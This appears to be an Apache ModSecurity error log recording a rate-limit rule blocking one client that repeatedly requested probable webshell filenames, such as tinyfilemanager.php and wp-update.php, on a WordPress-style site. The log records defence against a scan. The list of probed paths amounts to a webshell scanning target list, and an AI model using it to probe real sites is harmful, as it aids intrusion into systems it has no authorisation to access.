[Fri Apr 10 23:30:58.489273 2026] [:error] [pid 13101:tid 13148] [client 158.158.53.142:49489] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no1.php"] [unique_id "adkXst8Ldw85818pj2oiLwAAAI8"]
[Fri Apr 10 23:30:59.158183 2026] [:error] [pid 63062:tid 63065] [client 158.158.53.142:7765] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no1.php"] [unique_id "adkXs52HtsmV85NqkMcR5gAAA4E"]
[Fri Apr 10 23:30:59.680753 2026] [:error] [pid 13189:tid 13196] [client 158.158.53.142:51482] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no1.php"] [unique_id "adkXs5AxiJKPums3eBANfgAAAEQ"]
[Fri Apr 10 23:31:00.185006 2026] [:error] [pid 62884:tid 62899] [client 158.158.53.142:49483] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no1.php"] [unique_id "adkXtOUCK1xrhnnmpo2buwAAAsg"]
[Fri Apr 10 23:31:00.759081 2026] [:error] [pid 13101:tid 13153] [client 158.158.53.142:7916] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w2025.php"] [unique_id "adkXtN8Ldw85818pj2oiNAAAAJQ"]
[Fri Apr 10 23:31:01.322308 2026] [:error] [pid 62710:tid 62715] [client 158.158.53.142:50119] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w2025.php"] [unique_id "adkXteME7qrf5xEWWJtIJwAAAgI"]
[Fri Apr 10 23:31:01.961092 2026] [:error] [pid 63062:tid 63081] [client 158.158.53.142:48919] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w2025.php"] [unique_id "adkXtZ2HtsmV85NqkMcR7QAAA5E"]
[Fri Apr 10 23:31:02.474245 2026] [:error] [pid 62819:tid 62827] [client 158.158.53.142:52145] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w2025.php"] [unique_id "adkXtvU20EyPf7NlsleGAQAAAoU"]
[Fri Apr 10 23:31:03.106919 2026] [:error] [pid 62710:tid 62726] [client 158.158.53.142:7880] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fvvff.php"] [unique_id "adkXt-ME7qrf5xEWWJtILAAAAg0"]
[Fri Apr 10 23:31:03.668610 2026] [:error] [pid 13189:tid 13202] [client 158.158.53.142:49518] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fvvff.php"] [unique_id "adkXt5AxiJKPums3eBANgAAAAEo"]
[Fri Apr 10 23:31:04.148367 2026] [:error] [pid 13189:tid 13193] [client 158.158.53.142:52117] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fvvff.php"] [unique_id "adkXuJAxiJKPums3eBANhAAAAEE"]
[Fri Apr 10 23:31:04.630334 2026] [:error] [pid 62710:tid 62733] [client 158.158.53.142:48949] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fvvff.php"] [unique_id "adkXuOME7qrf5xEWWJtIMgAAAhQ"]
[Fri Apr 10 23:31:05.227457 2026] [:error] [pid 62819:tid 62830] [client 158.158.53.142:48906] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "adkXufU20EyPf7NlsleGBQAAAog"]
[Fri Apr 10 23:31:05.825983 2026] [:error] [pid 62710:tid 62735] [client 158.158.53.142:8060] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "adkXueME7qrf5xEWWJtINQAAAhY"]
[Fri Apr 10 23:31:06.342742 2026] [:error] [pid 62819:tid 62822] [client 158.158.53.142:49527] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "adkXuvU20EyPf7NlsleGBwAAAoA"]
[Fri Apr 10 23:31:06.895623 2026] [:error] [pid 13101:tid 13136] [client 158.158.53.142:7889] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "adkXut8Ldw85818pj2oiRgAAAIM"]
[Fri Apr 10 23:31:07.545835 2026] [:error] [pid 63134:tid 63150] [client 158.158.53.142:52068] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "adkXu9FALqPDwWi6eJLLAwAAA80"]
[Fri Apr 10 23:31:08.082025 2026] [:error] [pid 13100:tid 13114] [client 158.158.53.142:48959] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "adkXvFzg-ZkZ0InWIP3SnAAAAQk"]
[Fri Apr 10 23:31:08.570652 2026] [:error] [pid 13100:tid 13124] [client 158.158.53.142:51483] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "adkXvFzg-ZkZ0InWIP3SnQAAARM"]
[Fri Apr 10 23:31:09.092341 2026] [:error] [pid 63062:tid 63074] [client 158.158.53.142:49567] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "adkXvZ2HtsmV85NqkMcR9wAAA4o"]
[Fri Apr 10 23:31:09.746805 2026] [:error] [pid 62769:tid 62794] [client 158.158.53.142:49550] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "adkXvcWsSnfLoB8ifjDE3AAAAlc"]
[Fri Apr 10 23:31:18.426654 2026] [:error] [pid 62710:tid 62716] [client 158.158.53.142:48885] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless4.php"] [unique_id "adkXxuME7qrf5xEWWJtIZQAAAgM"]
[Fri Apr 10 23:31:19.033082 2026] [:error] [pid 62710:tid 62734] [client 158.158.53.142:48838] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless4.php"] [unique_id "adkXx-ME7qrf5xEWWJtIaQAAAhU"]
[Fri Apr 10 23:31:19.514314 2026] [:error] [pid 13101:tid 13144] [client 158.158.53.142:48863] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless4.php"] [unique_id "adkXx98Ldw85818pj2oibQAAAIs"]
[Fri Apr 10 23:31:20.020025 2026] [:error] [pid 13101:tid 13145] [client 158.158.53.142:48868] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless4.php"] [unique_id "adkXyN8Ldw85818pj2oicgAAAIw"]
[Fri Apr 10 23:31:20.582824 2026] [:error] [pid 13189:tid 13216] [client 158.158.53.142:52077] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "adkXyJAxiJKPums3eBANkwAAAFg"]
[Fri Apr 10 23:31:21.148150 2026] [:error] [pid 62884:tid 62892] [client 158.158.53.142:52112] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "adkXyeUCK1xrhnnmpo2bygAAAsE"]
[Fri Apr 10 23:31:21.866072 2026] [:error] [pid 62769:tid 62773] [client 158.158.53.142:52119] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "adkXycWsSnfLoB8ifjDE7gAAAkI"]
[Fri Apr 10 23:31:22.422556 2026] [:error] [pid 62651:tid 62656] [client 158.158.53.142:50154] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "adkXyjbAH0le57SIaqw5jQAAAcM"]
[Fri Apr 10 23:31:22.906373 2026] [:error] [pid 62884:tid 62900] [client 158.158.53.142:7881] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xqq.php"] [unique_id "adkXyuUCK1xrhnnmpo2b0AAAAsk"]
[Fri Apr 10 23:31:23.434117 2026] [:error] [pid 63062:tid 63068] [client 158.158.53.142:49494] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xqq.php"] [unique_id "adkXy52HtsmV85NqkMcSDwAAA4Q"]
[Fri Apr 10 23:31:23.918077 2026] [:error] [pid 13189:tid 13198] [client 158.158.53.142:49548] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xqq.php"] [unique_id "adkXy5AxiJKPums3eBANlwAAAEY"]
[Fri Apr 10 23:31:24.402744 2026] [:error] [pid 13189:tid 13194] [client 158.158.53.142:7903] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xqq.php"] [unique_id "adkXzJAxiJKPums3eBANmwAAAEI"]
[Fri Apr 10 23:31:25.177747 2026] [:error] [pid 13101:tid 13144] [client 158.158.53.142:8004] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plss3.php"] [unique_id "adkXzd8Ldw85818pj2oidwAAAIs"]
[Fri Apr 10 23:31:25.677246 2026] [:error] [pid 62769:tid 62789] [client 158.158.53.142:48891] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plss3.php"] [unique_id "adkXzcWsSnfLoB8ifjDE9QAAAlI"]
[Fri Apr 10 23:31:26.173972 2026] [:error] [pid 13189:tid 13214] [client 158.158.53.142:7904] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plss3.php"] [unique_id "adkXzpAxiJKPums3eBANowAAAFY"]
[Fri Apr 10 23:31:26.649133 2026] [:error] [pid 62769:tid 62783] [client 158.158.53.142:51502] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plss3.php"] [unique_id "adkXzsWsSnfLoB8ifjDE9gAAAkw"]
[Fri Apr 10 23:31:27.161840 2026] [:error] [pid 62710:tid 62729] [client 158.158.53.142:48937] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aaa.php"] [unique_id "adkXz-ME7qrf5xEWWJtIcQAAAhA"]
[Fri Apr 10 23:31:27.640895 2026] [:error] [pid 62710:tid 62714] [client 158.158.53.142:49524] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aaa.php"] [unique_id "adkXz-ME7qrf5xEWWJtIdAAAAgE"]
[Fri Apr 10 23:31:28.176705 2026] [:error] [pid 62769:tid 62782] [client 158.158.53.142:52122] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aaa.php"] [unique_id "adkX0MWsSnfLoB8ifjDE-QAAAks"]
[Fri Apr 10 23:31:31.157826 2026] [:error] [pid 63134:tid 63158] [client 158.158.53.142:48948] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aaa.php"] [unique_id "adkX09FALqPDwWi6eJLLLAAAA9U"]
[Fri Apr 10 23:31:33.747748 2026] [:error] [pid 63062:tid 63081] [client 158.158.53.142:49515] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "adkX1Z2HtsmV85NqkMcSHgAAA5E"]
[Fri Apr 10 23:31:34.277459 2026] [:error] [pid 62769:tid 62793] [client 158.158.53.142:7785] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "adkX1sWsSnfLoB8ifjDFIQAAAlY"]
[Fri Apr 10 23:31:34.781187 2026] [:error] [pid 62819:tid 62825] [client 158.158.53.142:49588] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "adkX1vU20EyPf7NlsleGaQAAAoM"]
[Fri Apr 10 23:31:35.295631 2026] [:error] [pid 62769:tid 62788] [client 158.158.53.142:8148] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "adkX18WsSnfLoB8ifjDFJAAAAlE"]
[Fri Apr 10 23:31:35.847516 2026] [:error] [pid 13189:tid 13214] [client 158.158.53.142:52136] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "adkX15AxiJKPums3eBANvwAAAFY"]
[Fri Apr 10 23:31:36.436726 2026] [:error] [pid 62884:tid 62904] [client 158.158.53.142:49505] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "adkX2OUCK1xrhnnmpo2b2wAAAs0"]
[Fri Apr 10 23:31:36.947611 2026] [:error] [pid 13189:tid 13216] [client 158.158.53.142:7926] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "adkX2JAxiJKPums3eBANwQAAAFg"]
[Fri Apr 10 23:31:37.518683 2026] [:error] [pid 13101:tid 13150] [client 158.158.53.142:51470] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "adkX2d8Ldw85818pj2oikgAAAJE"]
[Fri Apr 10 23:31:38.191640 2026] [:error] [pid 62819:tid 62830] [client 158.158.53.142:7896] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "adkX2vU20EyPf7NlsleGdgAAAog"]
[Fri Apr 10 23:31:38.808927 2026] [:error] [pid 62819:tid 62839] [client 158.158.53.142:7751] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "adkX2vU20EyPf7NlsleGfAAAApE"]
[Fri Apr 10 23:31:39.332844 2026] [:error] [pid 62710:tid 62731] [client 158.158.53.142:49554] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "adkX2-ME7qrf5xEWWJtIigAAAhI"]
[Fri Apr 10 23:31:40.158847 2026] [:error] [pid 62819:tid 62827] [client 158.158.53.142:49570] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "adkX3PU20EyPf7NlsleGhAAAAoU"]
[Fri Apr 10 23:31:40.666083 2026] [:error] [pid 13101:tid 13145] [client 158.158.53.142:51509] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-update.php"] [unique_id "adkX3N8Ldw85818pj2oinAAAAIw"]
[Fri Apr 10 23:31:41.251215 2026] [:error] [pid 62769:tid 62774] [client 158.158.53.142:48855] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-update.php"] [unique_id "adkX3cWsSnfLoB8ifjDFKQAAAkM"]
[Fri Apr 10 23:31:41.939293 2026] [:error] [pid 62884:tid 62914] [client 158.158.53.142:52124] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-update.php"] [unique_id "adkX3eUCK1xrhnnmpo2b3AAAAtc"]
